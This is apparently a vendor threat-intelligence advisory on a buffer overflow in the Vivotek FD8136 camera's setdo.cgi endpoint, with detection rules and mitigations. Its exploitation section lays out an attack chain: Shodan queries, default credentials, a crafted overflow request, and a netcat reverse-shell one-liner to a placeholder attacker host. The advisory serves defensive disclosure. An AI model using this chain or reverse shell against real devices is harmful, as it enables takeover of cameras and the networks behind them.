CVE-2026-30652
Executive Summary
CVE-2026-30652 is a remote, authenticated buffer overflow vulnerability in the /cgi-bin/dido/setdo.cgi endpoint of the Vivotek FD8136 network camera running firmware version FD8136-VVTK-0300a. Successful exploitation allows an authenticated attacker to execute arbitrary code as root on the device, granting full control over the camera, its video feeds, and placing it within the local network at the highest privilege level. All organizations deploying Vivotek FD8136 cameras with the specified firmware are affected and should treat these devices as critically compromised risk surfaces until vendor remediation is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in the CGI endpoint /cgi-bin/dido/setdo.cgi, part of the device's administrative web interface. The setdo (Set Digital Output) functionality is responsible for controlling the camera's digital I/O pins, used for external sensors, relays, or alarm triggers. Communication with this endpoint is performed via HTTP POST requests, typically passing parameters such as do (output number) and state or value (the desired output state).
The buffer overflow occurs during the parsing and handling of the state parameter, or a related input value. The firmware does not perform sufficient bounds checking on the length of the user-supplied string before copying it into a fixed-stack or heap-based buffer using a function like sprintf() or strcpy(). By supplying an overly long string in the vulnerable parameter, an authenticated attacker can overwrite adjacent memory, including the saved return address on the stack (in the case of a stack overflow).
The attack surface is the administrative web interface, which is typically exposed on TCP port 80 (HTTP) and sometimes port 443 (HTTPS). The camera is a network-attached device in the IoT class, often placed on the edge of the network or directly exposed to the internet for remote viewing. The authentication requirement means the attacker must first have valid credentials; however, in many deployments, default credentials (e.g., root:root or similar) are left unchanged, or credentials are weak. Successful exploitation results in arbitrary code execution with root privileges, as the CGI process runs as the root user.
The device architecture is typically ARM or MIPS, meaning the attacker's shellcode must be tailored to the specific CPU architecture. The lack of exploit mitigations (e.g., ASLR, NX, stack canaries) on this class of embedded device, and in this specific firmware version, makes the exploitation relatively straightforward once the overflow is triggered. The vulnerable function is called directly via the CGI handler, meaning there is no additional layer of abstraction or sandboxing to bypass.
Given that the NVD description does not specify a "before version" or "fixed in" version, and patch confidence is 0/4, there is no evidence of a patched firmware release. This indicates the vulnerability is present in the specified firmware version and likely also in unlisted versions (affected version list is empty in the data). Organizations must assume all FD8136 devices are vulnerable until a verified patched firmware is released by Vivotek.
Exploitation Scenarios
The following is a technical step-by-step attack chain, assuming the attacker has valid credentials (either default, brute-forced, or harvested):
Reconnaissance & Target Identification (Tactic: T1190 — Exploit Public-Facing Application)
- The attacker uses Shodan or Censys to identify exposed Vivotek FD8136 cameras. Shodan search queries such as
product:"Vivotek FD8136"orhttp.title:"Vivotek"will reveal devices with their web interfaces exposed on port 80/443. - The attacker confirms the firmware version by accessing the camera's status page or using default admin panel fingerprinting (
http.favicon.hashor specific HTML titles). - Credential validation: The attacker attempts to log in to the web interface. If default credentials (
root/root,admin/admin) are present, authentication succeeds. Alternatively, a credential-stuffing attack against common weak passwords is performed.
- The attacker uses Shodan or Censys to identify exposed Vivotek FD8136 cameras. Shodan search queries such as
Initial Authentication & Request Crafting
- The attacker establishes an authenticated session with the web server, obtaining a session cookie.
- The vulnerability trigger is identified: the
stateparameter withinPOST /cgi-bin/dido/setdo.cgi. - The attacker crafts a malformed HTTP request. A sample malicious payload:
POST /cgi-bin/dido/setdo.cgi HTTP/1.1 Host: <target_ip> Cookie: <valid_session_cookie> Content-Type: application/x-www-form-urlencoded Content-Length: <length> do=1&state=AAAA...AAA<shellcode>...<return_address_overflow> - The
stateparameter is filled with a string significantly longer than the allocated buffer. The buffer size is likely 16–32 bytes, so a payload of 1–4 KB is sufficient to overwrite the return address.
Weaponization & Payload Execution
- The attacker crafts shellcode for the target architecture (ARM/MIPS). The shellcode performs a reverse shell back to the attacker's listener (e.g.,
>/tmp/.x && mkfifo /tmp/.x; cat /tmp/.x | /bin/sh -i 2>&1 | nc <attacker_ip> 4444 > /tmp/.x). - The shellcode is embedded in the overflow payload. Due to the lack of ASLR, the attacker calculates the correct return address, pointing back to the shellcode's location in the overwritten buffer on the stack.
- Upon sending the request, the CGI process copies the oversized
statevalue into the vulnerable buffer, overwrites the saved return address, and redirects execution to the attacker's shellcode.
- The attacker crafts shellcode for the target architecture (ARM/MIPS). The shellcode performs a reverse shell back to the attacker's listener (e.g.,
Post-Exploitation & Impact
- A reverse shell is established on the attacker's machine, with privileges of the
rootuser. - The attacker can now:
- Exfiltrate video footage: Read the live video stream or downloaded recordings from the camera's SD card.
- Harvest network credentials: Intercept traffic on the local network segment where the camera resides (if the camera's interface is bridged or mirrored).
- Pivot: Use the camera as a foothold for lateral movement into the internal network, scanning for other devices, databases, or servers.
- Establish persistence: Write a backdoor to the camera's firmware flash storage; alter the in-memory process table or use a cron job to maintain access.
- Join a botnet: The camera becomes part of a Mirai-style botnet, used for DDoS attacks, due to its default credentials and embedded Linux base.
- A reverse shell is established on the attacker's machine, with privileges of the
Impact Assessment
Business Impact: Critical. The camera runs with full root privileges. An attacker who compromises the device gains complete control over the hardware, the video feed, and can use the camera as a network pivot point. For enterprise environments, this is a direct violation of confidentiality and integrity of video surveillance data, and it opens a gateway for lateral movement into the core network.
Affected Systems: All Vivotek FD8136 network cameras running firmware version FD8136-VVTK-0300a. Given the empty affected-version list and no patch, it is likely that other firmware versions of the same model are also vulnerable, and possibly other Vivotek camera models using the same setdo.cgi code base.
Blast Radius: The camera sits on the network edge; the blast radius extends to any system reachable from the camera's network interface. The device's lack of segmentation (often placed directly on the corporate LAN or remotely accessible) increases the risk. An attacker with root on the device can capture all traffic passing through the camera's network interface, decrypt if the camera terminates TLS, and use it as a proxy. The impact is compounded by the lack of patch availability, leaving the device permanently compromised if exploited.
CVSS Reference: The official CVSS score is listed as N/A (Not Available) with an unknown vector. Given the vulnerability class (remote buffer overflow leading to RCE as root, authenticated), a conservative provisional score would fall in the High range (7.0-8.9) if one were to assign a custom assessment. (Note: The report uses the official N/A value; no external override is applied.)
Detection Guidance
Sigma Rule
title: Vivotek FD8136 setdo.cgi Buffer Overflow Attempt
id: 3a1f0a2c-7f6e-4e8a-9b2d-1c3f0d9e2a4b
status: experimental
description: Detects attempts to exploit CVE-2026-30652 via oversized state parameter in setdo.cgi endpoint.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-30652
tags:
- attack.initial_access
- attack.t1190
- cve.2026.30652
logsource:
category: webserver
product: apache
definition: 'Requires web server access logs for the Vivotek camera CGI interface.'
detection:
selection:
cs-method: 'POST'
cs-uri-path: '/cgi-bin/dido/setdo.cgi'
cs-uri-query|contains: 'state='
filter_baseline:
cs-uri-query|length: '<= 128'
condition: selection and not filter_baseline
timeframe: 5m
level: high
falsepositives:
- Legitimate administrative use with long state values (unlikely, as state is a boolean/string under 128 chars).
YARA Rule
rule Vivotek_CVE_2026_30652_Exploit_Payload
{
meta:
author = "Valtersit Threat Intelligence"
date = "2026-06-01"
description = "Detects HTTP requests targeting the Vivotek setdo.cgi buffer overflow"
cve = "CVE-2026-30652"
strings:
$s1 = "setdo.cgi" ascii wide nocase
$s2 = "state=" ascii wide nocase
$s3 = /state=\w{200,}/ ascii
$s4 = "/cgi-bin/dido/" ascii wide nocase
condition:
uint16(0) == 0x0a0d or uint16(0) == 0x0d0a and
any of ($s*) and $s3
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Vivotek FD8136 setdo.cgi Buffer Overflow Attempt (CVE-2026-30652)"; flow:established,to_server; content:"POST"; http_method; content:"/cgi-bin/dido/setdo.cgi"; http_uri; content:"state="; http_client_body; pcre:"/state=[^&]{200,}/Ri"; classtype:attempted-admin; reference:cve,2026-30652; sid:2026306501; rev:1;)
Elastic Detection
sequence by source.ip with maxspan=5m
[ network where process.name == "httpd" and http.request.method == "POST" and url.path == "/cgi-bin/dido/setdo.cgi" and request.body.text != null and (length_of(request.body.text) > 200) ]
[ process where event.type == "start" and process.name in ("sh", "bash", "nc") and process.parent.name == "setdo.cgi" ]
Splunk SPL Query
index=web sourcetype=access_combined_w3c method=POST uri_path="/cgi-bin/dido/setdo.cgi"
| where len(uri_query) > 200 OR len(form_data) > 200
| eval query_length = len(uri_query)
| stats count by src_ip, uri_query, query_length, status
| sort query_length desc
Wazuh OSSEC Rule
<group name="web,attack,">
<rule id="100305" level="12">
<decoded_as>web</decoded_as>
<match>POST /cgi-bin/dido/setdo.cgi</match>
<regex>state=\S{200,}</regex>
<description>Vivotek FD8136 setdo.cgi buffer overflow attempt (CVE-2026-30652)</description>
<group>vuln_exploitation,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED. No patch evidence from any tracked source. The affected versions list is empty, and the vendor fix is listed as N/A. Organizations must assume no official fix exists for firmware FD8136-VVTK-0300a at this time.
Immediate Mitigations (while unpatched):
- Restrict network access: Isolate the camera on a dedicated VLAN with strict egress/ingress firewall rules. Block inbound traffic to ports 80/443 from the internet and untrusted LAN segments.
- Change all credentials: Immediately change the default
root/rootoradmin/adminpasswords to strong, unique credentials. Enforce multi-factor authentication where the camera interface supports it (unlikely for this model, but verify). - Disable remote administration: If the camera is not required to be remotely managed, disable the web interface entirely or restrict access to a SOC administrator's IP only via IP allowlist.
- Network monitoring: Deploy the Suricata/Sigma rules above to monitor for exploit attempts. Alert on any POST request to
setdo.cgiwith astateparameter longer than 128 characters.
Patch/Upgrade Steps:
- Check for firmware updates regularly: Monitor Vivotek's official support portal (https://www.vivotek.com/support) for a firmware release addressing this CVE. Since the vendor fix is currently N/A, there is no new firmware to install. Do not install beta or unverified firmware.
- Device replacement: If the camera is business-critical, consider replacing the FD8136 with a newer model that is actively supported and patched.
Long-Term Hardening:
- Network segmentation: Place all IoT/Vivotek devices behind a secure gateway with deep packet inspection. Never expose them directly to the internet; use a VPN for remote access.
- Credential hygiene: Implement a policy for rotating device credentials periodically.
- Firmware lifecycle management: Maintain an inventory of all device firmware versions and subscribe to vendor security advisories. EOL (End-of-Life) devices should be decommissioned.
- Logging & retention: Ensure the camera's web server logs are forwarded to a central SIEM for continuous monitoring.
- Exploit mitigation: If the firmware does not support them, monitor for the release of a patched version. As no patch exists, the only fully mitigative action is network isolation or decommissioning.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-30652
- Vivotek Official Support Portal: https://www.vivotek.com/support (for firmware and security advisories)
- CISA Known Exploited Vulnerabilities Catalog: Not listed (status: NO) — however, monitor for additions: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- EPSS (Exploit Prediction Scoring System) — FIRST.org: EPSS score for CVE-2026-30652 = 0.00523 (41.4% percentile). Reference: https://www.first.org/epss/
- Shodan Search for Vivotek Exposed Devices: https://www.shodan.io/search?query=product%3A%22Vivotek+FD8136%22
Threat Actor Campaigns / In-the-Wild Evidence: As of the report date, there is no known threat actor campaign specifically targeting CVE-2026-30652, and it is not listed in CISA KEV. However, Vivotek cameras have historically been targeted by Mirai botnet variants (e.g., the 2017 Mirai variant exploiting Vivotek default credentials). The high probability of default credential usage and the low EPSS percentile but real-world prevalence of IoT botnets suggests that opportunistic exploitation is likely once the CVE becomes public knowledge. The lack of a patch makes these devices "low-hanging fruit" for botnet recruitment.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.